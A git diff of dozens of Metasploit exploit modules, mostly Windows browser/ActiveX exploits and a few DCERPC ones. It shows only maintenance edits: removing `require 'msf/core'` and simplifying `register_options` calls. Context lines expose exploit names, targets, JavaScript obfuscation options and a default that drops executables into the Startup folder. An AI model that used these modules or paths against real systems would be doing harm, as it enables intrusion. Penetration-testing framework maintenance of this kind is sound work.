diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb index 5ecae278aa..4db470857a 100644 --- a/modules/exploits/windows/browser/orbit_connecting.rb +++ b/modules/exploits/windows/browser/orbit_connecting.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 4bb79207f8..de6ded80e2 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index 7d067b8eb4..2366ce5761 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]), - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index 3d508ab03b..195bf2eca2 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index a9ed766c59..7df9f0b1d8 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -81,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index f24cab863b..cefe99886c 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index 049dfae49f..52e78053bf 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb index 5e8066f7bb..4defb12162 100644 --- a/modules/exploits/windows/browser/realplayer_console.rb +++ b/modules/exploits/windows/browser/realplayer_console.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb index 8af7086610..1e8e395251 100644 --- a/modules/exploits/windows/browser/realplayer_import.rb +++ b/modules/exploits/windows/browser/realplayer_import.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 1b07abfa48..1a5cfcbc75 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(cli, request) diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb index 2523e574e7..d777345961 100644 --- a/modules/exploits/windows/browser/realplayer_smil.rb +++ b/modules/exploits/windows/browser/realplayer_smil.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb index 262b0480b4..de2ec7e116 100644 --- a/modules/exploits/windows/browser/roxio_cineplayer.rb +++ b/modules/exploits/windows/browser/roxio_cineplayer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index 4a1686f131..fb9b1655d6 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 53ac3660ed..2e108e1bdf 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/samsung_security_manager_put.rb b/modules/exploits/windows/browser/samsung_security_manager_put.rb index fe09f84299..489fc8dd45 100644 --- a/modules/exploits/windows/browser/samsung_security_manager_put.rb +++ b/modules/exploits/windows/browser/samsung_security_manager_put.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end # this is because String.fromCharCode has a max of 65535 func args diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb index b53b4c019d..67458db09d 100644 --- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb +++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 571f5785ce..c36423d334 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb index 7649666ea1..8b55bd79d6 100644 --- a/modules/exploits/windows/browser/softartisans_getdrivename.rb +++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb index 6244740d46..57ef372440 100644 --- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb +++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb index f35dcf5e4e..5425d16c18 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to place the executable.", 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\' ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb index b76478f196..9385f6ad73 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb index 75d5bcdeb2..7503efd5dc 100644 --- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb +++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb index eb84ff49fe..9dbdc71812 100644 --- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb +++ b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb index 6ab6a8ac97..7e598cd214 100644 --- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb +++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index a0c78377bb..333c51e8cb 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb index 90f780c73f..f33596c7d0 100644 --- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb +++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 84ee5ad5ef..1c20245249 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -101,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 1d2957285a..c81ad09e2d 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -103,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index 27990a4b47..b125841f01 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -31,8 +31,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb index ad5a5c58d1..c8c391d661 100644 --- a/modules/exploits/windows/browser/trendmicro_officescan.rb +++ b/modules/exploits/windows/browser/trendmicro_officescan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb index def0203920..4e02b69e3d 100644 --- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb +++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index 8d4387ffd8..11e31c1d38 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]), OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]), OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"]) - ], self.class) + ]) # WebDAV does not support SSL and must run over port 80. deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH') diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 1ae1aa5fda..4b990fa685 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb index d7edd41d46..dda8e92016 100644 --- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb +++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index a3fc6e77cf..3a15f0ec2d 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index 71c60f312d..a00b00d2a9 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0)) register_options( - [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ], self.class) + [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]) end # Prevent module from being executed in autopwn diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index 833f151a25..884d23dccd 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(cli, request) diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index bc823fdf71..50149cfa88 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -85,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(cli, request) diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index 7f4ca9edc9..872b97e502 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new( 'BASENAME', [ true, "The base name for the listed files.", "policy" ]), OptString.new( 'SHARENAME', [ true, "The name of the top-level share.", "documents" ]), OptString.new( 'EXTENSIONS', [ true, "The list of extensions to generate", "txt" ]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL end diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index d624fa9a03..4dda3879f0 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index 73e9252478..6e061696f1 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb index 865b6b05f8..9e1c30b96b 100644 --- a/modules/exploits/windows/browser/winamp_playlist_unc.rb +++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb index ffd09d661d..d7d0964ba0 100644 --- a/modules/exploits/windows/browser/winamp_ultravox.rb +++ b/modules/exploits/windows/browser/winamp_ultravox.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb index 362458f78b..fb4c5da46e 100644 --- a/modules/exploits/windows/browser/windvd7_applicationtype.rb +++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index 9ceeca87a3..7df3ea0a16 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index e847a7952b..57d21780e8 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 8c1ba38bf0..dec324068b 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index 151f2e87c7..7f0a725345 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb index 64fa89bcaa..06a18e92bc 100644 --- a/modules/exploits/windows/browser/yahoomessenger_fvcom.rb +++ b/modules/exploits/windows/browser/yahoomessenger_fvcom.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/yahoomessenger_server.rb b/modules/exploits/windows/browser/yahoomessenger_server.rb index b50153df05..74f88c63c6 100644 --- a/modules/exploits/windows/browser/yahoomessenger_server.rb +++ b/modules/exploits/windows/browser/yahoomessenger_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb index c337ced797..1de35aea01 100644 --- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb +++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 1ddbe7e53e..d85ea3d47d 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), - ], self.class) + ]) end def on_new_session(client) diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index 6f70408261..4de3ad69eb 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index b2850c5420..3cf4c15a8e 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(2103), OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb index 2cd0def19c..6940cda9b2 100644 --- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(0), OptString.new('Locale', [ true, "Locale 